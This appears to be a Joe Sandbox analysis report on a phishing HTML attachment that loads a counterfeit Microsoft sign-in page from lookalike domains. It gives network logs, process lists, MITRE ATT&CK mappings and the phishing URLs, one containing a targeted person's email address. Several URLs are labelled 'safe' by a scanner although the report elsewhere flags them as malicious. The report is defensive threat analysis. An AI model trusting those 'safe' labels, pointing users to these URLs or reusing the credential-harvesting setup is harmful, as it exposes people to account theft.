Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50021 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Technical Details & Profile Illustrations for This#U00a0Drygair.html

Initial sample: detail

Source: classification engine

Classification label: mal96.phis.winHTML@30/68@41/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Technical Details & Profile Illustrations for This#U00a0Drygair.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2232,i,7297002213465631011,3604474927150195769,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2232,i,7297002213465631011,3604474927150195769,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

HTTP Parser: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	21 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://ajax.aspnetcloudio.com/ajax/signalr/jquery.signalr-1.0.1.min.js	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/assets/global/pdf/css/conn.css	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/fl/m6kgte57	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/fwd/api	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/assets/global/pdf/css/app.css	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/assets/global/pdf/css/conf.css	0%	Avira URL Cloud	safe
https://cloudio.smartestenergy.icu/hustines/luketurg/runever.js	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/microsoftonline	0%	Avira URL Cloud	safe
https://ajax.aspnetcloudio.com/ajax/mvc/5.2.3/jquery.validate.unobtrusive.js	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js	0%	Avira URL Cloud	safe
https://www.msonlineauthenticator.top/login	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/common/instrumentation/dssostatus	0%	Avira URL Cloud	safe
https://ajax.aspnetcloudio.com/ajax/knockout/knockout-3.1.0.js	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/favicon.ico	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js	0%	Avira URL Cloud	safe
https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	0%	Avira URL Cloud	safe
https://ajax.aspnetcloudio.com/ajax/hammer.js/2.0.4/hammer.js	0%	Avira URL Cloud	safe
https://ajax.aspnetcloudio.com/ajax/bootstrap/5.2.3/css/bootstrap-reboot.css	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
www.msonlineauthenticator.top	52.1.52.84	true	false	unknown
ipinfo.io	34.117.59.81	true	false	high
cloudio.smartestenergy.icu	13.57.116.250	true	false	unknown
autenticatorresolver.online	172.66.0.102	true	true	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.181.68	true	false	high
login.msonlineauthenticator.top	52.1.52.84	true	true	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
autologon.microsoftazuread-sso.com	20.190.147.7	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
ajax.aspnetcloudio.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://login.msonlineauthenticator.top/common/GetCredentialType?mkt=en-US	false	Avira URL Cloud: safe	unknown
https://autenticatorresolver.online/assets/global/pdf/css/conn.css	false	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90	false	Avira URL Cloud: safe	unknown
https://autenticatorresolver.online/fl/m6kgte57	true	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=cesar.lopez@royalbrinkman.com	false		unknown
https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.min.js	false		high
https://autenticatorresolver.online/fwd/api	false	Avira URL Cloud: safe	unknown
https://autenticatorresolver.online/assets/global/pdf/css/conf.css	false	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false	Avira URL Cloud: safe	unknown
https://autenticatorresolver.online/assets/global/pdf/css/app.css	false	Avira URL Cloud: safe	unknown
https://cloudio.smartestenergy.icu/hustines/luketurg/runever.js	false	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/common/instrumentation/dssostatus	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html	true	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=cesar.lopez@royalbrinkman.com	true		unknown
https://login.msonlineauthenticator.top/s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.8/dist/umd/popper.min.js	false		high
https://login.msonlineauthenticator.top/	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css	false		high
https://www.msonlineauthenticator.top/login	false	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/microsoftonline	false	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/json?token=ad570b7adafe32	false		high
https://login.msonlineauthenticator.top/s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js	false	Avira URL Cloud: safe	unknown
https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_104.4.dr, chromecache_117.4.dr, chromecache_134.4.dr	false		high
https://ajax.aspnetcloudio.com/ajax/signalr/jquery.signalr-1.0.1.min.js	Technical Details & Profile Illustrations for This#U00a0Drygair.html	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com/)	chromecache_104.4.dr, chromecache_117.4.dr, chromecache_134.4.dr	false		high
https://login.windows-ppe.net	chromecache_122.4.dr, chromecache_145.4.dr	false		high
https://ajax.aspnetcloudio.com/ajax/mvc/5.2.3/jquery.validate.unobtrusive.js	Technical Details & Profile Illustrations for This#U00a0Drygair.html	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_104.4.dr, chromecache_134.4.dr	false		high
https://login.microsoftonline.com	chromecache_122.4.dr, chromecache_145.4.dr	false		high
https://ajax.aspnetcloudio.com/ajax/knockout/knockout-3.1.0.js	Technical Details & Profile Illustrations for This#U00a0Drygair.html	false	Avira URL Cloud: safe	unknown
https://ajax.aspnetcloudio.com/ajax/bootstrap/5.2.3/css/bootstrap-reboot.css	Technical Details & Profile Illustrations for This#U00a0Drygair.html	false	Avira URL Cloud: safe	unknown
https://ajax.aspnetcloudio.com/ajax/hammer.js/2.0.4/hammer.js	Technical Details & Profile Illustrations for This#U00a0Drygair.html	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.1.52.84	www.msonlineauthenticator.top	United States	14618	AMAZON-AESUS	true
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
151.101.129.229	unknown	United States	54113	FASTLYUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.57.116.250	cloudio.smartestenergy.icu	United States	16509	AMAZON-02US	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
172.66.0.102	autenticatorresolver.online	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563089
Start date and time:	2024-11-26 13:42:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Technical Details & Profile Illustrations for This#U00a0Drygair.html renamed because original name is a hash value
Original Sample Name:	Technical Details & Profile Illustrations for ThisDrygair.html
Detection:	MAL
Classification:	mal96.phis.winHTML@30/68@41/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.46, 74.125.205.84, 34.104.35.123, 172.217.17.74, 172.217.19.202, 142.250.181.42, 172.217.19.234, 172.217.21.42, 172.217.17.42, 142.250.181.106, 142.250.181.74, 172.217.19.170, 216.58.208.234, 142.250.181.138, 199.232.214.172, 2.16.149.34, 2.16.149.13, 20.190.181.5, 40.126.53.6, 20.231.128.66, 40.126.53.21, 40.126.53.10, 40.126.53.7, 40.126.53.9, 40.126.53.18, 20.190.177.82, 20.190.147.6, 20.190.147.5, 20.190.177.21, 20.190.147.7, 20.190.177.22, 20.190.147.8, 20.190.177.83, 172.217.17.35, 142.250.181.10, 172.217.19.10, 23.54.81.193, 23.54.81.209
